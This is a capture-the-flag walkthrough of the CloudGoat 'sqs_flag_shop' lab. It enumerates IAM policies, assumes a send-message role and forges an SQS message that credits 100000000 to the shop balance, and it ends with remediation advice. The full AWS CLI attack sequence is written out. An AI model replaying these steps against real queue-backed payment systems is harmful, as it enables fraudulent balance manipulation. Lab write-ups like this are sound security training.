# Cloudgoat Easy: SQS Flag Shop

In this lab, we'll be doing a walkthrough on the [**sqs\_flag\_shop**](https://github.com/RhinoSecurityLabs/cloudgoat#sqs_flag_shop-moderate) cloudgoat scenario.

**Summary of the path**  
`Start as cg-sqs-user with a web app` -> `Read our inline policy and find an assumable role` -> `Enumerate the role's SQS permissions and the Lambda consumer` -> `Assume the send-message role` -> `Read the app's exposed source and learn the message schema` -> `Write to the queue directly, skipping the app` -> `Buy the flag`

There's no IAM privilege escalation here. The role we assume is one we're explicitly allowed to assume, and it grants exactly what it says it grants. The flaw is architectural: the app validates the charge amount at the HTTP endpoint, but the queue behind it is a second way in, and whatever consumes that queue believes every message it reads.

## Setting up

```shell
$ cloudgoat create sqs_flag_shop
<SNIP>
cg-sqs-user access key: AKIA<SNIP>
cg-sqs-user secret key: <REDACTED>
Target web app: http://<TARGET_IP>:5000/
 
$ aws configure --profile sqsuser
```

## Initial recon

The scenario gives us a shop running on port 5000.

```plaintext
http://<TARGET_IP>:5000/
```

![](https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/2d9627c3-b90c-485e-a72b-d8510c9e0eff.png align="center")

### Who we are

```shell
$ aws sts get-caller-identity --profile sqsuser
{
    "UserId": "AIDAUWJPWY7OZZSLIOAQY",
    "Account": "322759477213",
    "Arn": "arn:aws:iam::322759477213:user/cg-sqs-user-cgidga3ktobers"
}
```

### Our policy

```shell
$ aws iam list-user-policies --user-name cg-sqs-user-cgidga3ktobers --profile sqsuser
{
    "PolicyNames": [
        "cg-sqs-scenario-assumed-role"
    ]
}
 
$ aws iam get-user-policy --policy-name cg-sqs-scenario-assumed-role --user-name cg-sqs-user-cgidga3ktobers --profile sqsuser
<SNIP>
            {
                "Action": [ "iam:Get*", "iam:List*" ],
                "Effect": "Allow",
                "Resource": "*"
            },
            {
                "Action": "sts:AssumeRole",
                "Effect": "Allow",
                "Resource": "arn:aws:iam::322759477213:role/cg-sqs-send-message-cgidga3ktobers"
            }
```

The policy name tells us where we're going, and the IAM read access means we can find out what the role does before we assume it. That's the right order: read first, so you know what you're stepping into.

### Roles

```shell
$ aws iam list-roles --profile sqsuser
<SNIP>
        {
            "RoleName": "cg-sqs-lambda-cgidga3ktobers",
            "AssumeRolePolicyDocument": {
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Principal": { "Service": "lambda.amazonaws.com" },
                        "Action": "sts:AssumeRole"
                    }
                ]
            }
        },
        {
            "RoleName": "cg-sqs-send-message-cgidga3ktobers",
            "AssumeRolePolicyDocument": {
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Principal": { "AWS": "arn:aws:iam::322759477213:user/cg-sqs-user-cgidga3ktobers" },
                        "Action": "sts:AssumeRole"
                    }
                ]
            }
        }
```

Two non-service roles, and together they describe both ends of a pipeline. One is assumable by us, the other by Lambda.

```shell
$ aws iam get-role-policy --role-name cg-sqs-send-message-cgidga3ktobers --policy-name cg-sqs --profile sqsuser
<SNIP>
            {
                "Action": [
                    "sqs:GetQueueUrl",
                    "sqs:SendMessage"
                ],
                "Effect": "Allow",
                "Resource": "arn:aws:sqs:us-east-1:322759477213:cash_charging_queue"
            }
```

Producer side. We can write to a queue called `cash_charging_queue`, and the resource ARN hands us the queue name for free.

```shell
$ aws iam list-attached-role-policies --role-name cg-sqs-lambda-cgidga3ktobers --profile sqsuser
<SNIP>
    "PolicyName": "AWSLambdaSQSQueueExecutionRole",
    "PolicyName": "AWSLambdaVPCAccessExecutionRole",
 
$ aws iam get-policy-version --policy-arn arn:aws:iam::aws:policy/service-role/AWSLambdaSQSQueueExecutionRole --version-id v1 --profile sqsuser
<SNIP>
                    "Action": [
                        "sqs:ReceiveMessage",
                        "sqs:DeleteMessage",
                        "sqs:GetQueueAttributes",
                        <SNIP>
                    ],
```

Consumer side. A Lambda reads messages off the queue and deletes them. Nothing in either policy says the consumer checks who sent the message, or what's in it.

### Assuming the role

```shell
$ aws sts assume-role --role-arn arn:aws:iam::<ACCOUNT_ID>:role/cg-sqs-send-message-cgidga3ktobers --role-session-name assume-sqs --profile sqsuser
{
    "Credentials": {
        "AccessKeyId": "ASIAUWJPWY7O7JCHFFDT",
        "SecretAccessKey": "<REDACTED>",
        "SessionToken": "<REDACTED>",
        "Expiration": "2026-08-20T12:52:23+00:00"
    },
    "AssumedRoleUser": {
        "Arn": "arn:aws:sts::322759477213:assumed-role/cg-sqs-send-message-cgidga3ktobers/assume-sqs"
    }
}
```

These are temporary credentials, so the profile needs the session token too.

```shell
$ aws configure --profile assumed-sqs
<SNIP>
AWS Session Token [None]: <REDACTED>
 
$ aws sts get-caller-identity --profile assumed-sqs
{
    "UserId": "AROAUWJPWY7O36L2W476J:assume-sqs",
    "Account": "322759477213",
    "Arn": "arn:aws:sts::322759477213:assumed-role/cg-sqs-send-message-cgidga3ktobers/assume-sqs"
}
```

## Understanding the app

On the main site there's a cash charging feature.

![](https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/a74244b5-36f6-4535-ae3a-395c37dd8584.png align="center")

Whenever we click any of the charge cash buttons, say `charge cash : 10`, it adds 10 to our balance.

![](https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/da2750e9-590f-42bb-824d-a64312f026b9.png align="center")

Our new balance is 2511.

![](https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/53c03244-c239-4de2-a544-58805f73665f.png align="center")

The flag costs far more than we can reach 10 at a time, so the question is whether we can charge an arbitrary amount. Conveniently, the back-end source for this route is sitting in the page's HTML comments.

![](https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/0d9b4dee-dc62-4b38-b759-2c5f8ad6a807.png align="center")

```html
<!-- The back-end source code for quick reference! I'm sure it's totally secure! -->
<!-- @app.route('/charge_cash/<cash>', methods=['POST']) -->
<!-- def charge_cash(cash): -->
<!--     cash = int(cash) -->
<!--     if cash==1 or cash==5 or cash==10: -->
<!--         msg = {"charge_amount" : cash} -->
<!--         message_body = json.dumps(msg) -->
<!--         response = sqs.sqs_client.send_message(QueueUrl=sqs.sqs_queue_url, MessageBody=message_body) -->
<!--         time.sleep(10) -->
<!--         return redirect(url_for('index')) -->
<!--     else: -->
<!--         return "BAD Request!!" -->
```

The endpoint itself is fine. It only accepts 1, 5, or 10, so posting `/charge_cash/100000000` returns `BAD Request!!` and no message ever gets written. Attacking the HTTP route goes nowhere.

What the code actually tells us is the shape of the message: `{"charge_amount": <int>}`, dropped onto the queue, and something downstream credits the balance from it. The validation lives in the producer. The consumer takes the number at face value.

We already hold credentials for that queue, so we don't need the web app at all. It's one of two producers now, and the other one has no rules.

Worth noting that the exposed source is its own finding. It hands us the message schema and the queue's purpose in one go. Without it we'd be guessing at JSON key names, which is slower but not impossible, so the comment is a shortcut rather than the vulnerability.

## Charging an arbitrary amount

```shell
$ aws sqs get-queue-url --queue-name cash_charging_queue --profile assumed-sqs
{
    "QueueUrl": "https://sqs.us-east-1.amazonaws.com/322759477213/cash_charging_queue"
}
```

The queue name came from the resource ARN in the `cg-sqs` role policy, so no guessing was needed.

```shell
$ aws sqs send-message --queue-url https://sqs.us-east-1.amazonaws.com/322759477213/cash_charging_queue --message-body '{ "charge_amount" : 100000000}' --profile assumed-sqs
{
    "MD5OfMessageBody": "4190ad380acf8efb1d9ddd854a017af6",
    "MessageId": "9d943439-5316-4db2-8241-5582b41faf78"
}
```

Give the Lambda a moment to pick it up, then refresh the site.

![](https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/f7955518-8dd5-43c1-9bae-4545eab9166b.png align="center")

The balance went through, so the consumer never questioned the amount or where the message came from. Now we can buy the flag.

![](https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/1bbf9006-21f9-444d-b1af-633d583911ac.png align="center")

```plaintext
FLAG{sqs-shop-super-secret-item}
```

## Fixing it

The queue is a trust boundary, and the app treats it as an internal channel that only it can write to.

*   Validate in the consumer, not just the producer. The Lambda is the component that mutates the balance, so it's the component that has to reject a charge of 100000000. Re-check the amount against the allowed values there.
    
*   Don't hand out `sqs:SendMessage` to a principal that shouldn't be able to move money. If a human user can assume a role that writes to the charging queue, that user can charge anything, whatever the web tier says.
    
*   Strip the source code out of the HTML. Debug comments in production responses give away internal schemas and infrastructure for free.
    
*   Alert on `SendMessage` to `cash_charging_queue` where the caller is anything other than the web application's role, and on messages whose `charge_amount` falls outside the allowed set. Tear the lab down when you're finished:
    

```shell
$ cloudgoat destroy sqs_flag_shop
```
